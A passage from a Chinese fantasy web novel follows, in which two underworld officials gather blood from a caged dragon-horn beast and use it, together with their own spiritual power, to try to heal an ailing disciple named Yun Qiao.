大风窝在岑黎的掌心,像是听懂了似的,发出极悲悯的一声长吟,声音扩散了出去,周遭关着的凶兽们竟也跟着悲鸣起来。
这一瞬间,岑黎觉得镇妖塔竟像是关守着它们的地狱,而站在这里的他们,便是始作俑者的帮凶。
岑黎摇摇头,试图甩开这些念头。
镇妖塔中的凶兽皆是因为它们曾在地府中作恶才被关押进来,也许此刻的它们值得怜悯,但当时被残害的百姓又为何要遭受无妄之灾?
她叹了口气,走到沈自珩身边看向龙角兽。它撞向墙壁的动作变得迟钝了,脚步也踉跄着,想来应该快到了极限。
“我们进去吧?”
“嗯。”沈自珩伸手,手心中的符刚靠近门锁便像是被吸了过去,原本画在纸上的符文变得越来越清晰,纸却逐渐化成了灰,到最后符文竟是与门锁上的图案嵌合了!
岑黎在一旁看得目瞪口呆,讷讷地说了句:“这符纸,只能用一次啊?”
厚实的大门缓慢往上升,龙角兽窝在角落里一动不动,只有金色的耳朵尖朝门口转了转。岑黎将大风放在肩膀上,自己小心翼翼地靠近龙角兽。
他们刚见到它时头上的角还有着淡淡的光泽,但就这么一会儿,那一对角便变得暗淡无光,没了生机。
岑黎试图伸手摸一摸它,但在离它的身体还有一段距离时,龙角兽忽然有了很大的反应,它一边惊叫一边挣扎着要从地上起来,试图躲开她的手,过程中头上的角狠狠磕上了墙壁,疼得它发出一声惨叫,又跌回了地上。
见状她连忙收回手,轻声安抚着:“好好好,嘘……我不碰你了……”
大风在她肩膀上歪着头,忽然在她耳边叽叽喳喳地叫了起来,甚至还跳了两下。
“别乱动,你要干什么。”岑黎只当它是缓过来了开始活泛,抬手在它脑瓜上轻拍了一下。
“叽。”大风叫了一声,从岑黎的肩膀跳到她手上,又从她手上跳到地上,然后一蹦一跳地到了龙角兽面前。
龙角趴在地上有些费力地喘息着,见一只小鸟跳到它面前它也无动于衷,只是掀开眼皮看了看便不再搭理,大风倒是急了,跳上了龙角兽的前爪,又在它前爪上蹦跳着。
岑黎索性拉着沈自珩坐在了地上,抬手挡在嘴边凑近他耳朵问:“大风是不是有些痴傻?”
跳累了的大风叽一声回过头看她。
龙角兽头上的角像快速枯败的木头似的,表面开始起皱,角上的细茸也没了光泽,与它的头相连的地方更是泛起了鲜艳的红色,像是从内里渗出来的一样。
岑黎一眨不眨地看着这些变化,同时也看见仍没有放弃蹦跶的大风和越来越虚弱的龙角兽。
她忍无可忍,伸长胳膊把大风捞了过来圈在手心里,恶狠狠地问:“你到底要干什么?!它很虚弱,不要让它跟你玩!”
大风在她手心使劲跳了两下,然后用力扑扇了两下翅膀,又从她手心走到了手腕,小小的爪子顺着手腕的经脉方向往上走着,走了一小段又扇着翅膀飞下来,站到龙角兽旁边,用尖嘴轻轻啄了啄它。
岑黎坐在地上盘着腿看它这一套动作,苦思冥想着,手臂,不对,血?脉络?经脉……灵力?我和龙角兽……
“让我输灵力给它?”岑黎指了指自己,又指了指龙角兽。
大风又跳又扇翅膀,叽地叫了两声,音调明显比刚刚兴奋了些。
“哈哈……对不起哦,是我笨是我笨。”她再次试探着伸出手碰龙角兽,原本它还要挣扎,但大风跳上它背叽了两声后它就不再挣扎了,主动翻了身,将肚皮露给她。
“啊?”岑黎傻眼,茫然地抬起头看向沈自珩,“给兽输灵力要这么输啊?”
沈自珩摇头:“我给大风输灵力的时候不是啊。”
他直接对着大风隔空拍了一掌灵力。
“不管了。”岑黎从身体里抽出一点灵力送到龙角兽身边,刚碰到它的毛就飞快地吸收进去,她又抽了一点,“再来一次。”
龙角兽仰躺着一动不动,片刻后它睁开眼睛,先是在周围扫视了一圈,最后视线落在岑黎身上。就在岑黎以为是自己离它太近,让它感觉到了威胁时,它翻过身,四肢弯曲着匍伏在她面前。
随着它的动作,它头上的角几乎是送到了她和沈自珩眼前,他们对视了一眼,都从彼此眼中看出了疑惑,不敢轻举妄动。
在一旁的大风刚从龙角兽背上跳到地上,躲开了它的翻身,见它又这样匍伏,大风直接扇着翅膀飞上了它的头顶,用嘴指了指已经开始缓慢渗出血珠的那处。
这次岑黎懂了,抬手拍着沈自珩胳膊让他将瓶子拿出来接:“快快快,有血渗出来了!”
龙角兽像尊雕像一样趴着,任他们肆意收集着龙角兽一族最珍贵的东西——龙角兽血。
岑黎一手扶着瓶子,一手轻轻碰了碰龙角兽的头顶,见它没什么反应也没睁眼,便大着胆子摸了摸它的背,一摸上它枯涩的背毛,岑黎就想到了自己的麦芽。她在脑海中对比着,不知这只龙角兽多大,没准麦芽长大后的身形会比它还大一些。
“它一定要被关在这儿吗?”她忽然问道,“它不就是血有剧毒吗,可只有换角的时候会流血啊,就这么一两个时辰的事情,要将它一辈子都关在这儿吗?”
她忽然不理解了,龙
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角兽换角时极其虚弱,甚至对大风都造不成威胁,又为什么要因为它的血将它关在这儿呢?
沈自珩盯着瓶子里越来越多的血,虽也同样不解其中缘由,但他知道此事需要龙角兽做出一个艰难的选择。
他抬手蹭了蹭龙角兽的鼻背,轻声问:“躯体和自由,你选哪个?”
龙角兽睁开了黑亮的眼睛。
沈自珩将瓶盖盖紧放进腰间的布袋里,又伸手将岑黎从地上拉起来。
“等等。”岑黎抬手,走到龙角兽面前蹲下,抱着膝盖和它讲话,“我再给你输一次灵力,你快点恢复好不好?”
比刚才还多一些的灵力在空中自行包裹成了球形,飘飘忽忽地附上了龙角兽的额头,就见它闭上了眼,很快全身的金色花纹似乎比刚才亮了一些。
看来输灵力很有效嘛。岑黎满意地点点头,抓起地上的大风和沈自珩一同往外走去。
大门缓缓下落,砰的一声,严丝合缝地落回到地上的凹槽中,巴掌大的门锁上的花纹也逐渐浮现清晰,龙角兽再一次缩回了角落里。
“我要去找阎王问问,龙角兽有那么穷凶极恶到要把它关在镇妖塔五层吗?”岑黎双手背在身后,十分不满地撇着嘴,掌心里的大风也附和似的叫了一声。
沈自珩看上去对此也有些不满,看向她问道:“如若它没有那么穷凶极恶呢,你当如何?”
“那还用问,把它放出来啊!”她义愤填膺地说着,手心里传来一下钝痛,她把手举到眼前,大风正叼着她手掌的一小块肉。
沈自珩无奈地喊了一声大风,食指和中指交叠,轻弹了一下它的脑袋。
“你知道大风为什么明明也被关在镇妖塔,现在却依然能来去自如吗?”
岑黎眨眨眼:“因为它是魂体?”
沈自珩点点头:“对,但你知道它为什么是魂体吗?”他反手指了指身后的一道道门,“这里面关着的可都是还活着的凶兽。”
岑黎看着他。
“镇妖塔里的凶兽大多有灵智,不是原本就有的,有许多是在镇妖塔中关了数百上千年,被这里的灵气滋养出来的,大风就是其中之一,当年我拆它腿骨时它就是个普通的破坏力很强的鸟。我将它关进镇妖塔,一是方便后续处置,二是为了让它养伤。”
沈自珩指了指大风的腿骨:“你看,现在还是两条腿。”
“后来我忙了一阵,将它一直放在了镇妖塔,等我再去时发现它和原来不一样了。”
岑黎笑笑:“更聪明了。”
沈自珩也笑道:“对,能听得懂人们的大部分话语,变得非常聪明。当时我觉得镇妖塔对它有好处,我就问它,想继续待在塔里,还是要出去,它用行动告诉我想出去。我就去问管制镇妖塔的鬼差,要如何能将大风放出去,他给了我一个很残酷的答案。”
沈自珩将岑黎的手抬高了些,让她掌心里的大风看向自己,他伸出两只手平放在它面前,就像当年那样。
他开口,声音忽然有些沙哑干涩:“大风,你记得当年的问题吗?你是愿意待在这里还是愿意跟我出去?”
大风叫了一声,看向“出去”那只手。
沈自珩点头:“如果要出去,你会失去身体,只能在地府游荡,不能转世,不能再见到你的族群,永远是魂体。”他说得很慢,一字一句地问着,“你愿意,还是不愿意?”
大风仰着头看他,叽一声跳上“愿意”那只手。
50. 镇妖塔 四
(这一章中间就开了新内容,但是字数关系不重开一章了)
岑黎看着跳上沈自珩肩膀,蹭着他脸颊的大风有些说不出话。
她从未想过成为魂体竟然是大风走出镇妖塔的代价。她又看向沈自珩,他是个不爱吐苦水的性子,总是像个闷葫芦一样,直到葫芦里装不下了才往外倒一倒,这么多年他看着大风,是不是经常回想起当年他问大风的那些话?又会不会常常自责?
她又回头看向关着龙角兽的那扇门,龙角兽呢,会选择什么?
他们慢慢往下走着,地府中的太阳已经准时落下,过不了多久月亮就会升上来。
已经过了一天了。
“地藏给我的书我还没来得及看。”她从袖子里掏出那本书,半开玩笑地跟沈自珩说,“你说,这上面的奇珍异兽,镇妖塔中会不会有?”
“也许会吧。”
岑黎正一步一步挪下楼梯,她给龙角兽输完灵力后腰上的疼痛就忽然袭来,甚至比刚撞伤时更剧烈一些,范围也更大,现在连走路都有些费力。她看着沈自珩因为担心而微微皱起的眉头,猛地想起他们刚见面时的场景。当时他也皱着眉,可看上去却十分可气。
“王爷,你上辈子也这么惜字如金吗?”岑黎微微喘着气开口问道,眼里满是狡黠的光。她一手叉着腰倚靠在楼梯栏杆上,自上而下地瞧着站在下面的沈自珩。
沈自珩原本正朝她伸手要将她扶下来,听她又搞怪喊起前世的称呼,无奈地一抿嘴。见岑黎耍赖似的靠在栏杆上,那双狭长的狐狸眼弯了弯:“你下不下来?”
岑黎歪着头看他,发丝从肩头滑落到身前,她摆摆手,一双黑亮的眼睛笑眯了起来:“不急,你先回答我嘛。”
他轻叹了口气,走上台阶拉着她的手慢慢地向下走,她这会儿却不再追问了,像是笃定他会开口。
“我前世性子也如此,皇兄总说我太闷了。”
他说说停停,也借此开始回忆着自己的过去,“但比现在还是要活泼些,大概和年纪小也有关系吧,幼时我虽比旁人安静些,却也会因为受不了夫子的絮叨逃课,一般还没跑出大门就被夫子抓住了,然后将我送到我皇兄那里——皇兄当时就在隔壁学堂。后来皇兄同我说,他有一阵子一听见夫子喊他就害怕,生怕哪天我惹出大麻烦来,好在我并没有那么跳脱,惹过的最大的麻烦便是把后院种的草药当成野草拔了。”
沈自珩说着自己也笑了,那段时间他与皇兄一同出家门上学,皇兄将他送进学堂后自己再去隔壁,那是他最喜欢的一段时光。
岑黎专注地听着,她很少听见沈自珩提起过往,之前在记忆库的小房子里虽提及一些,但也是借着谢必安的前世才说到他自己。她想,虽然一见钟情,但总不能什么都不知道吧。
“你小时候竟然这么调皮啊。”她兴致勃勃地问,“你总提皇兄,他是个什么样的人呢?”
沈自珩没有立刻回答这个问题,反倒问她:“你觉着我皇兄是个什么样的人?”
岑黎用手撑着水池边,慢慢坐了下去,她长舒一口气,晃着脚想了想:“在你言语中能觉着他很宠你,有什么好的都想着给你,我也从未听你说过他训斥你。”
沈自珩点点头,跟着坐在她旁边:“对,从小我跟着哥哥,父皇忙于朝政,母后在旁辅佐也十分忙碌,曾经我还偷偷问过哥哥,父皇以后是不是要把皇位传给母后。”
“哥哥就问我,如果以后父皇要将皇位传给我,我愿不愿意。”他抬起头看着前方,目光不知落在了哪处,“皇兄说我当时难过得快要哭出来了,嘴里还说着愿意。但我已经完全不记得了,这些都是后来皇兄同我讲的。”
“可能也是因为当时我说的不愿意,皇兄才接下了皇位,整日端坐在朝堂上,一丝都不敢放松。”
岑黎歪着头看向他,用着怕惊扰他的轻柔的声音问:“难道原本你父皇真要将皇位传给你?对不起,我问得是不是有点冒犯……”
“没关系。父皇原本确实有意传位给我,他觉得皇兄更适合做忠臣而非明君,他待人宽厚,耳根子软,容易听信谗言。”他转过头看向岑黎,“但我不是。”
“我明明可以直接杀了大风了结它的痛苦,却还是活生生拆了它的一根腿骨,然后又将它关进镇妖塔这暗无天日的地方,甚至让它做出了那样的选择。相比之下,我更心狠。”
他看向一直趴在岑黎腿上的大风,语气越来越沉重:“我也明明可以进宫辅佐皇兄,替他分担一些,但我选择住在我的王爷府里,既不需要与人虚以委蛇地周旋,还能享受着荣华富贵。”
他旁观者清地评论着,一字一句都表达着坐在那个位置上需要承受的重量和痛苦,而当时那些都压在了皇兄的身上。他剖析着自己的性格,真的是因为觉得自己适合当皇帝,还是在讨伐自己的逃避。
岑黎拉过沈自珩的手,让他掌心朝上摊开,又从自己腿上捧起已经睡着的大风放进他掌心,仍维持着小鸟体型的大风看上去十分自在,即便被岑黎捧了过来也只是朦胧地睁开了眼,在沈自珩的掌心蹭了蹭,便又睡着了。
她蹭着大风的翅膀,声音轻得像是春风吹过花树那般,她说:“我不知道有多少人能够明知亲兄弟心狠,却还是对他有求必应,明知兄弟逃避、退缩,却还是纵容着他,保护着他。”
“沈自珩,你皇兄比你,更早认识你自己。也许你还在母亲肚子里时他就在想你是什么模样,是男是女,是高是矮,是胖是瘦……你认为的自己,皇兄不知道吗?你自责没有替皇兄分担,那若是你当皇帝,你皇兄会不会也这么想?你说你心狠拆了大风腿骨,你救了那只差点被活剥了心的小狐狸。”
“你觉得你皇兄是善人吗?”她问。
沈自珩毫不犹豫地点头:“当然。”
她又问:“那你皇兄觉得你心善吗?”
没等沈自珩回答,她一巴掌拍在他肩膀上,咬牙切齿地说:“有那么好的皇兄天天教着你,给你做榜样,你居然还觉得自己是混蛋!”
沈自珩揉了揉被她拍的肩膀,她的力气真的挺大,拍那一下还挺疼。“我没觉得……”
岑黎见他要反驳,一眯眼质问他:“真的吗?”
“……我错了。”
这话一出,两人都愣住了。岑黎先反应过来,有点不好意思地清了清嗓子:“那、那个,我们出去吧?我饿了。”
“大风呢,要不要让它回去?”沈自珩捧着大风站起身问。
“它能吃东西吗?”
“能。”
“那带它吃饭去呗,万一能喂个肉什么的……”
“行。”
两人走出门,将那破旧的门关上,门口的禁咒重再次起效。安静的镇妖塔中,自高处传来了一声闷响,随后又传出一阵声响,像是嚼碎了坚硬的骨头,咔哧……咔哧……
云漫仙山一
“咳!咳咳……”云峤紧闭着双眼,即便在昏睡中也依然痛苦不堪。
自云峤生病那日起他就不怎么出房门,原本大家都以为他如往年一样最多半月便会好起来,可这次已不止半月,云峤非但没有好转的迹象,甚至越来越严重。
云昭坐在一边捏着手中装了香料的布包,她日日来给云师兄房里换熏炉中的草药,云师兄的状态日日衰退,可整个莲花台都束手无策,她去问地藏,地藏也闭口不谈,只说再静等些时日。
可究竟静等什么?她越想越觉得躁得慌,起身想去孟婆庄找岑黎聊聊。
“云昭?”门被轻轻叩了两声,正是岑黎的声音,“云昭开一下门,是我。”
“姐姐!我正想去找你!”云昭欣喜地打开门,但很快脸上的表情又垮了下来,她带着岑黎去看云峤,“云师兄现在一直这样,明明在咳嗽,却怎么也醒不过来。”
岑黎上前看了看,云峤正昏睡着,面色倒是与平时没什么不同,甚至更红了些。她伸出两指搭在他手腕内侧,讪讪笑着对云昭说:“那个……我也不知道能不能搭得到啊,反正我们鬼是没有……”
鬼是摸不出脉象的,但莲花台里除了云昭,其他的都不是鬼,岑黎抱着这个想法试一试,却没想到真的摸到了云峤的脉。
“他的脉很快还很乱。”她收回手,问云昭有没有去请施永和来看过。
云昭点头:“请过,他说不是生病,喝药外敷这些寻常治病的法子都没用的。”
“云昭,再去请施永和来,让他将最常用的那些药都带着,不管是内服的还是外用的,都要带,以备不时之需。”沈自珩从门外进来,手里捏着一个黑色布袋,上面用金线绣着图案,是他平时常用的那个。
岑黎问他:“都准备好了吗?”
沈自珩嗯一声:“我先去按方子配好,等施永和到了就开始。”
两人像打哑谜似的你一言我一语,云昭在旁边听得一头雾水,但眼下还是请施永和来更重要一些,她打了声招呼,转身就跑了。
两人回到莲花台殿上,地藏已经吩咐人将器具都准备好了,那日地藏给沈自珩看的方子也放在了旁边,还有一株紫色的草压在了方子上。
“啊!这不就是我吃过的那个草药!”岑黎将它拿起来仔细瞧着,她对它的味道到现在还记忆犹新,这颜色,这气味的草药实在很罕见,“这个草叫什么……灵起草。地藏,这草究竟有什么作用?我当时灵力溃散用它,如今云峤也要用上它。”
地藏看着她笑笑:“给你的书是不是还没看?”
岑黎嘿嘿笑了,有些心虚地从袖子里掏出那本书:“刚从镇妖塔回来,还没顾得上看……难道这书里就有?!”
她恍然大悟,就见地藏点了点头:“有。”
“灵起草……以疏导灵力最著,能助人重新运转体内灵力,修复筋脉,对重塑根骨亦有奇效,然效不及灵力疏导之捷。”她读了几句,随后往后翻看着,这本书着实
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有趣,她还在其中看见了好些熟悉的名字。
龙角兽,大风,当康,类……她一页页翻着,有些记载得比较详尽,甚至还有画。沈自珩在配药,她帮不上什么忙,索性坐在一边当看绘本似的津津有味地看了起来。
就是不知这本书是由哪些大师所著,不仅记载的内容没有一句废话,连画的图也栩栩如生,在这本书上一定花了许多心思吧,她感慨着,往后翻了一页。
沈自珩将手中的布袋打开,瓶子里龙角兽血依旧鲜红,他将血倒在碗中,又拿过一旁捣出汁液的灵起草将其混合,再加上一些其它药材……
他直起一直弯着的腰,向岑黎看去。
“小黎?”他喊了一声,岑黎浑身一抖。
沈自珩快步走过去细细看着她的脸色:“怎么了,腰疼吗?”
岑黎把手上的书举到他面前,摊开的那一页上画着一只张牙舞爪的蜘蛛,旁边还画着一个端站着的人,那人身高仅仅有蜘蛛的半截腿长。从画上看,蜘蛛身形巨大,浑身长满绒毛,在不同的光下可呈现不同颜色,十条腿末端皆有一根尖刺,微微倒钩,十分可怖。
沈自珩狠狠皱着眉,他一向讨厌这些长得丑的东西。刚想把书合起来,岑黎抬手制止了他,把原本折起来记有蜘蛛习性的那一页摊开给他看。
“缚灵蛛。”岑黎用手点点最上面的三个大字,又点点下面一大段其中的一些词,“蛛丝柔韧,可与灵力混用,数日后隐匿……”
她站起身叉着腰,严肃认真地看着他:“你觉不觉得很熟悉。”
“屏障。”沈自珩缓慢地吐出两个字。
“我来了我来了!”施永和背着比平时还大一倍的药箱气喘吁吁地跑来,跟在后面的云昭手里还拎着两个药箱,和施永和身上的那个差不多大。
“这么着急……呼……还、还要这么多、多药。”施永和两手撑着膝盖呼哧呼哧地喘着粗气,“吓死我了!”
三个药箱在桌上放不下,施永和索性将它们都放在地上一起打开,里头全是瓶瓶罐罐,看得人眼花。他一个一个介绍他的宝贝们:“这是活血化淤的,理气的,止咳的,金创药,平心止气……诶?!”
岑黎走上前拉住他:“知道了知道了,你这些宝贝得介绍到什么时候去,你先过来,救人要紧。”
施永和啧一声,十分不满地看着她。
“施大人——”岑黎抬手对他做了个请的动作他才跟着沈自珩走了。
沈自珩给他看桌上的东西,又详细说了功效,最后问:“但这个方子只有极少人用过,且并未留下些记载,我们是怕途中万一出了什么问题来不及反应,所以把你叫来,你看看应该还应该做些什么准备?”
施永和看着碗里的东西沉吟半晌:“龙角兽血和灵起草,一个是剧毒,一个疏通筋脉,那么中毒后该如何解毒,何时解毒,疏通筋脉后毒入肺腑的速度不是更快吗?”他摸着下巴思索着,“这方子当真是诡异得很,是什么人曾用过这方子知道吗?”
一旁的岑黎和云昭,还有沈自珩,三人齐刷刷地摇头。
“这也不知道?!”施永和瞪大眼睛两手一拍,“这让我如何配药?”
“施大人来了。”地藏从后面房中走出来,“药方是我给的,确实不知是谁用过,但肯定是体魄强壮,原本灵力充沛的人用过的,龙角兽血的剧毒也有法可解,施大人不用担心。”
施大人一拱手:“地藏,即是如此,可否让我看一下解药是何物?”
地藏淡然一笑,抬手指着殿上的莲花池:“在那里,那朵紫色的莲花。”
云昭猛地扭头看向她天天瞧着的莲花,这朵常开不败的莲花竟然是解药?!
“那是我从昆仑带来的种子,能解龙角兽血的毒。”地藏说。
施永和从药箱中拿出一把剪刀走到池边,看向地藏,见地藏点头,他抬手将莲花剪了下来。
“上次我瞧云大人的病症与急火攻心有些相似,便回去琢磨了几日,配出了新的药,如若云大人今日的状况与之前相似,那药便可备着用了。另外我再立刻配几副止血的和固本的方子,防止灵起草药效过猛,伤及根本。”
“这样应该很稳妥了!”云昭压着有些激动的心情,带着施永和去了云峤房间,先为他诊脉。
“岑大人,沈大人,还有一事。”地藏开口说道,“若是方便,还请沈大人与云肃守在云峤旁边。”
沈自珩点头应下。
岑黎在旁边问道:“地藏,需要我做什么?”
云肃从房中走出来,他今日依旧是扎着马尾,身上的白衣却是换成了黑色。他朝岑黎行了礼,说道:“云昭给师兄喂药时,烦请岑大人守在旁边。”
“……哦。”岑黎虽然有些不解,但还是应下了,“但你在云峤旁边不是比我更方便吗?”
地藏瞧着他们,随手安抚着脚边有些焦躁的谛听,说道:“云肃没有灵力。”
51. 云漫仙山 二
云肃抱着胳膊和沈自珩一人一边地守在云峤的房间门口,岑黎端着药跟云昭进了房间。
沈自珩一向话不多,很少主动与人攀谈,这会儿更是安静得像塑像一样站在门边一动不动。
“沈大人,你们是不是刚从镇妖塔回来?”云肃斜靠在门边,眼里像是写着“我很有兴趣”似的,炯炯有神地看向他,“里面是什么样的?据说关着的都是凶兽?”
“镇妖塔……内部即是普通的塔内的样子,只是多了些符咒。”沈自珩答道,“云肃大人从未进去过吗?”
云肃皱皱鼻子,冲他一摆手:“叫我名字就行了,因我天生没有灵力,地藏便禁止我单独去那些地方。云师兄以前好像去过,但是那时我还小,还没来地府。”
说完他顿了顿,里头还未传出已经开始的声音,不知是不是遇上了什么麻烦。
他叹了口气:“云师兄这次病得可真厉害,往年从没见他这么难受过,这罚……”
话音戛然而止,沈自珩看向他,云肃只是讪笑一声,便重新靠回门边不再说话了,见沈自珩并没有追问的意思,他偷偷松了口气。
屋里的气氛则是比屋外紧张许多。云昭一言不发地推开门,接过岑黎手中的药放在桌上后,便站到一边不再说话,只能听见她隔三差五发出的叹息。
施永和过来诊脉时将原本屋里的熏炉熄了,又让云昭将窗户关得严严实实,这会儿屋里的味道都未散尽。岑黎抽了抽鼻子使劲闻了闻,总觉得这味道有些熟悉。
“是许多药材混合磨成粉后制成的熏香。”云昭指着屋子中间那个熏炉,里头攒的灰都快溢出来了。“云师兄卧床那天起地藏就让我将这个香给他熏上。”
岑黎有些好奇:“这熏香有什么效果?”
云昭摇头,看了看暗下去的天色。
施永和推门而入,将手中的碗放在床头,对她们说:“我们开始吧。”
门外的云肃仰头看着天上,不知是不是他的错觉,今夜的月亮似乎比平时都暗一些。
施永和将云峤扶坐起来,自己坐到床头后将云峤的身体靠在自己身上,又伸手探了他的脉,确认没有极大波动后才朝云昭伸手:“血拿来。”
龙角兽的血装了一整瓶,倒进碗里便有大半碗,又混合着灵起草汁,满满一碗药被放在云峤紧闭着的唇边。
“云师兄现在这样,怎么喝药?”云昭看着没有任何反应的云峤,忽然语出惊人,“这药是不是进他肚子里就有用,不一定非要人清醒着?”
施永和面露难色:“话是这么说,但是……”
就见云昭一手卡住云峤下颌往下一拉,嘎哒一声脆响后她朝施永和伸手:“药给我吧。”
灌下药后三人一言不发地站在床边等着药效发作,施永和好几次张嘴想说些什么,又被岑黎瞪了回去,只能恹恹地走到窗边盯着院子中间的那棵桃花树发呆。
“如果失败了,会怎么样?”云昭轻声问着。
仍然站在窗边的施永和试图从所有可能性中找出一个不那么惨的结果出来,隔了一会儿才回:“龙角兽血的毒侵入肺腑,即便解了之后也还是会对身体有影响,哪怕他是神仙也没有法子。”
“什么影响?”
“大概会变得疯疯癫癫吧。”
施永和话音刚落,岑黎猛地转头看他:“这么严重?”
“这已经是最好的结果了。”施永和一摊手,“龙角兽血啊,剧毒!”
岑黎瞪着眼睛没法反驳,忽然屋中响起一道有些虚弱的声音:“还好。”
三人奔向床边,云峤仍闭着眼睛与刚才并无差别。
“师兄?”云昭试探着喊了一声。
躺在床上的云峤缓缓睁开眼,却是没有转过头,只转动着眼睛看向他们,嘴角勾起了一个小小的弧度:“还好我没有变得疯疯癫癫。”
云峤动了动手指,觉得胳膊腿都很是沉重,似乎怎么抬都抬不起来。
他看着云昭担心的眼神笑了笑,又看向岑黎施永和二人:“多谢各位。”
云昭趴在床边,看着云峤的手指动了两下便不动了,他的整个身体更是从醒了到现在也没有动作,连头都转不过来……
她慌张地不知怎么办,眼睛随着她悬在空中的手扫过了云峤的手脚,最后落在他仍然微笑的脸上:“师兄,你的手……”
云峤摇摇头:“没事,也许过一阵儿就好了。”
他费力地将嘴角的弧度又勾起来一点。
他动不了了。
屋外的云肃正趴在门上聚精会神地听着里面的动静,刚转头对沈自珩说了句好像没什么事,就听见从屋里传出一声哭声。
“云昭?怎么了,出什么事了吗?”云肃猛地直起身拍门问道,“需要我们进去吗?”
屋里的岑黎喊了一句:“你们进来吧!”
门被推开时云昭坐在床前的地上用衣袖擦着脸,岑黎蹲在旁边拍着她的背,施永和则是站在一边连声叹气。
云肃心里咯噔一声,看着眼前这情形觉得不太妙。
“怎么了?师兄怎么样?”云肃走到床边见云峤醒了,正微笑着看向他,他惊喜地喊了一嗓子,“师兄醒了!那云昭哭什么?”
施永和开口便先叹了口气,长长的眉毛似乎都愁得向下垂了几分:“云峤现在……动不了啦……”
“动不了了?师兄你将手抬起来?”云肃说着,盯着云峤的右手,半晌都纹丝未动。
“真动不了了?那怎么办,是什么缘故,因为龙角兽血的毒还是灵力出了问题?还是……”云肃问了一连串,见施永和都是摇头,他怔在原地。
施永和说:“不知道是何原因。唉……就是不知道原因才麻烦。”
刚刚打开的门不知什么时候被风刮上了,只留了一小条缝,带着寒意的空气卷了进来,叫人打了一个寒颤。
岑黎望向屋外的桃树,忽然萌生了一个想法,但很快又摇摇头否定了。
沈自珩将她和云昭从地上拉起来,云昭走到旁边擦脸,沈自珩则是拉着岑黎的手走到门口,轻声问:“怎么了?刚刚看见你摇头。”
岑黎一愣,本以为没人注意,没想到他却瞧见了。
她凑他近了一些,将手拢在他耳边,靠近说:“我有一个想法,你
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陪我去试试吧?”
沈自珩点点头:“好,怎么试?”
一缕银色的灵力从岑黎的手中流向面前的枯树,像一小股山泉似的从树梢开始流淌,逐渐到另一端的树枝上,经过树干时又分成了两股更细的流水,一股缓缓向树顶攀着,另一股则绕着树干向下,最后流入了泥土里。
随着树上的银光慢慢消失,岑黎也沮丧起来,之前自己的灵力能帮助春生和龙角兽恢复,大概也都是巧合吧……
她看向一旁一直沉默的沈自珩,伸手轻轻碰了碰他垂在身侧的手。就见他的衣袖动了动,下一秒她的手就被他握住,清亮的声音也随之响起:“没事,别沮丧。”
“嗯。”岑黎点点头,拉着他打算回去,忽然,她似乎听见了什么声音。
她有些迷茫地回头看,眼前这棵已经枯死的桃花树并没有什么变化……周围也没有什么动物,那刚才的声音是什么?
沈自珩跟着回头,见她又看着树一脸不死心的样子,他也借着月光又绕着树走了一圈。
“小黎。”沈自珩蹲着朝她招手,脸上笑眯眯的,“你来。”
岑黎走过去,被他拉着手一道蹲了下来。
月光下,桃树脚下原本干涸的泥土现在变得湿润,干枯的树干上也多了一道裂口,透过裂口就能看见一点嫩绿色。
有一枝小芽正在生长。
有一枝小芽正在生长!
这句话在她脑海中震耳欲聋地响起,她一动不动地盯着那道裂口,凑近一点,再凑近,恨不得那枝小芽现在立刻长出来。
“沈自珩!沈自珩!我的灵力真的可以!”她指着那枝小芽激动得语无伦次,“我的灵力救了春生,救了龙角兽,没准可以救云峤!”
沈自珩笑着点头:“看到了,我们去和他们说。”
岑黎抛下他,转头跑进房间里走到云峤的面前。
“云峤,我可能有办法,你要不要试试?”岑黎认真地说,“你可曾听说过我救了春生,那个阎王殿的鬼差?”
云峤笑了一下,眨了眨眼。
岑黎继续说:“这次我们去镇妖塔取龙角兽血,在龙角兽濒死之际,也是我给它输了灵力之后,它有了好转。”
她看了一眼站到她身边的沈自珩,见他点头,她说,“可能我的灵力和血,能够帮助你,但是其中缘由我并不清楚,对你来说有些冒险。”
“你愿不愿意冒这个险?”她看着云峤。
云峤的眼神似是在屋里扫视了一圈,在云昭身上停留一阵后他开口,声音依然虚弱却笃定:“好。”
“那我们就试试。”
岑黎坐到床边,伸手碰上云峤额头探着他体内的灵力。云峤是地藏弟子,原先的灵力应当十分充沛,此刻他的灵海中却是一片死寂。
她紧皱着眉头,此刻云峤的灵力只残留了一些分散在筋脉各处。
等等!
她闭眼感知着,云峤体内一小片灵力正在慢慢溃散……
“云师兄!”
“师兄!”
岑黎猛地睁开眼,云峤闭上了眼,原本面色上的红润正飞快褪去。
52. 云漫仙山 三
“不好!”施永和看了一眼就急忙挤到云峤旁边给他诊脉,原本比常人更活跃的脉象此刻已经变得死气沉沉,他的灵力更是濒临干涸,再拖下去大概就会和当时的春生一样身体逐渐变得透明,随后魂体也开始消散。
云肃率先开了口,红着眼眶语速飞快地说:“岑大人,不管什么法子都先试试吧!”
岑黎点点头,从发间拔下那把镰刀簪划过掌心,鲜红的血液立刻冒了出来,很快便浸湿了手掌。
虽然当时给龙角兽只输了灵力,但救春生时她记得是用了血的。
镰刀簪十分锋利,方才她没控制好力度,伤口划得深了些,现在动一动手指都能觉得掌心被牵扯着疼。
岑黎咬咬牙,没受伤的手掌一翻,一团银色灵力出现在掌心幽幽地闪烁着,随后像是有生命一般涌向左手满是血的手掌,将血液包裹了起来。
不过片刻,碗大的“灵力血珠”便在她掌心成形,银芒裹着暗红的血缓缓旋转着,连空气里都似飘着淡淡的灵力波动。她深吸一口气,正要将这团血珠送进云峤体内,却见一缕金色灵力从旁悄然贴来,像层薄纱般,轻轻裹在了银芒血珠的最外层。
她想也不想地抬头直直看向沈自珩。
沈自珩迎着她的目光缓缓收回悬在半空的手,指尖残留的金芒微光渐渐隐去,他勾起嘴角,轻轻说了一句:“没事。”
没事,放心去做。
她轻抿着唇,都能猜到沈自珩会说什么了。
施永和故技重施让云峤靠在自己肩上,就见血珠被岑黎托在掌心,刚被送到云峤的嘴边便像水似的流淌进去,不见踪影。
站在一旁一直没吭声的云肃不可思议地眨了眨眼,若不是他离得近瞧了清楚,还有岑黎手上现在正被云昭包扎着的伤口还在渗血,他甚至不敢相信这一切已经发生了。
“这……这就好了?”他抓抓脑袋,一甩脑后的马尾,他从未见过这样的法子,也不知该从何问起,只能努力地组织着语言,“师兄这一点反应都没有呢?”
沈自珩看着岑黎裹着布的手,抬起眼皮看向云峤,语气有些冷淡:“没这么快。”
“灵力送进去后若是能带着他体内的灵力一道运转起来便能成了,再加上灵起草和龙角兽血的功效,云峤应当能恢复。”
岑黎狠拽了一下沈自珩的袖子便松开,对着云昭和云肃解释道,“只是这第一步最关键,也最没有把握。”
